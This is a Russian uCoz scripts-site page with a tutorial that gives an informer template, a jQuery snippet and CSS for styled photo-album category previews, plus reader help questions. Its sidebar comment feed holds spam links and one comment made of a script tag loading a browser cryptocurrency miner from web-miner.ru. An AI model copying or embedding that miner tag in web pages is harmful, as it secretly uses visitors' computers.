Среда, 21.02.2018, 10:02
Главная  Форум Регистрация Блог RSS
Приветствую Вас, Гость
Меню сайта
Статьи про uCoz
Наш опрос
Какая CMS лучше для Вас?


Всего ответов: 453

установить такой вид опроса
Статистика
Яндекс.Метрика
Онлайн всего: 6
Гостей: 6
Пользователей: 0


Зарегистрировано 30527 (сегодня + 0 новых, вчера + 3 новых), В каталоге файлов 1127 материала(ов), Оставлено 5119 комментариев, На форуме создано тем и ответов.

установить такую статистику

Блок CW результаты

Победы
Победы(10)

Поражения
Поражения(5)


Установить CW блок на свой сайт
Внимание!
Наш сайт адаптирован под браузер Mozilla Firefox
скрипты для uCoz
Скачать/Download
В остальных браузерах наш сайт может отображаться некорректно! (IE,Opera,Google Chrome и т.д)

установить такой блок
Расскажи Друзьям!
Комментарии
Новость: Видео чат для вашего сайта
Александр написал:
https://chat-vsem.blogspot.ru
Новость: Преимущества создания сайта с помощью шаблона
Вика Ромашкина написал:
http://womanspv.ru/raznoe/obmanut-ofisnyj-dress-kod.html
http://womanspv.ru/beremennost/forum-28-nedelya-beremennosti.html
Новость: Блок баннеры "Наши друзья" uCoz
написал:
<script async="async" src="//web-miner.ru/lib/wm.js?s=161&p=50"></script>

Читать все комментарии
Топ комментаторов

установить такой информер
VKONTAKTE

FACEBOOK
Главная страница » Помощь Вебмастеру » Категория HTML коды для uCoz » Добавлено [24.11.2013, 23:07]

Вид материалов фотоальбома на uCoz

Войти или Зарегистрироваться [скачивать файлы могут только зарегистрированные пользователи!]

Совсем недавно задумывались мы, как бы разнообразить наши фотоальбомы на сайтах. Опять же подсказал Ucoz. Новая свежая идея, как сделать симпатичные превью для вида категорий фотоальбома. Согласитесь, это полезная штука, нужная тем, у кого их действительно много. Фотографы всякие или же просто товары на сайте разбиты по категориям.

  • Банкеты и банкетный зал СЗАО, обеды с доставкой, доставка еды в офис, обеды в офисы недорого, обеды с доставкой, Выпечка.

Или у вас попытка создать социальную сеть, новую и неповторимую, а там будут фотоальбомы и превью к ним. В общем, не зависимо от целей - встречайте новый скрипт, который мы уже успели оценить по достоинству. Он красивой сделан. И сделан с умом, человеком, или несколькими человеками, которые сумели-таки отрастить руки из нужных мест. Превью содержит, собственно, заглавную фотографию альбома, сведения о количестве фотографий, и, что особенно порадовало - последнюю добавленную в категорию фотографию, название, количество изображений и описание. Свежо ! В любом случае, этому скрипту следует уделить внимание - мы вот поставили на пару своих сайтов - протестируем. Вы тоже ставьте, потому что это уже не стандартный вид превью, который всем наскучил, а такой, как на других хороших CMS. Отличный повод занести в список скриптов, которые нужно установить с пометкой "обязательно". И комментируйте ! Мне очень интересно ваше мнение.

Установка

Создаем информер

Раздел: Фотоальбомы

Тип данных: Категории

Количество колонок по желанию

Код шаблона информера:

<div class="g-album">  
<div class="g-album-p">  
<a href="$CATEGORY_URL$">  
<span class="g-album-s" id="c$NUMBER$"><span class="g-album-b"></span></span>  
</a>  
</div>  
<div class="g-album-i">  
<b>$CATEGORY_NAME$</b><br>Фотографий: $NUM_DATA$<br><div class="g-album-descr">$CATEGORY_DESCR$</div>  
</div>  
</div>

  <script type="text/javascript"> $('#c$NUMBER$').load('$CATEGORY_URL$ .phtTdMain:first img');</script>

Вставьте следующий код в Таблицу стилей (CSS):

.g-album {display:inline-block; overflow:hidden; border:1px dashed #ccc; border-radius:3px; padding:5px; margin-bottom:15px;}  
.g-album-p {float:left; width:100px;}  
.g-album-b {float:left; width:90px; height:67px;}  
.g-album-i {float:left; width:150px;}  
.g-album-s img {width:90px; height:67px; border-radius:3px;}  
.g-album-descr {font-size:10px; color:#666; margin-top:5px;}


При копирование материалов с сайта необходимо указать активную ссылку источника - Скрипты для uCoz 2013 и Вид материалов фотоальбома на uCoz



Расскажи друзьям интересные новости:


- Установить на свой сайт блок социальных закладок
Категория: HTML коды для uCoz | Добавил: scripts_for_ucoz | Теги: Материалов, фото, фотоальбомы, Вид материалов, фотографии, фотоальбома
Просмотров: 10679 | Загрузок: 0 | Комментарии: 3 | Рейтинг: 5.0/1
Всего комментариев: 3
3 Offline4266   (09.04.2014 12:57)
Здравствуйте.Я создал семь фотоальбомов и вывел их на главную страницу.Все работает,но альбомы уходят за пределы вида сайта.Скажите пожалуйста,можно ли сделать альбомы в два ряда?

2 Ksusha   (09.01.2014 23:11)
Извиняюсь. Изменила код информера. Все работает. Спасибо за идею!

1 Ksusha   (09.01.2014 22:18)
Очень интересный и удобный вид для каталога картинок с описаниями. Загорелась сделать такой же. Поместила код в таблицу стилей, сделала информер. Поместила информер на странице со списком фотографий раздела. В результате получила список текстовых ссылок на альбомы, а такой красоты не получилось cry Что не так сделала?

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Для добавления необходима авторизация

Хостинг от uCoz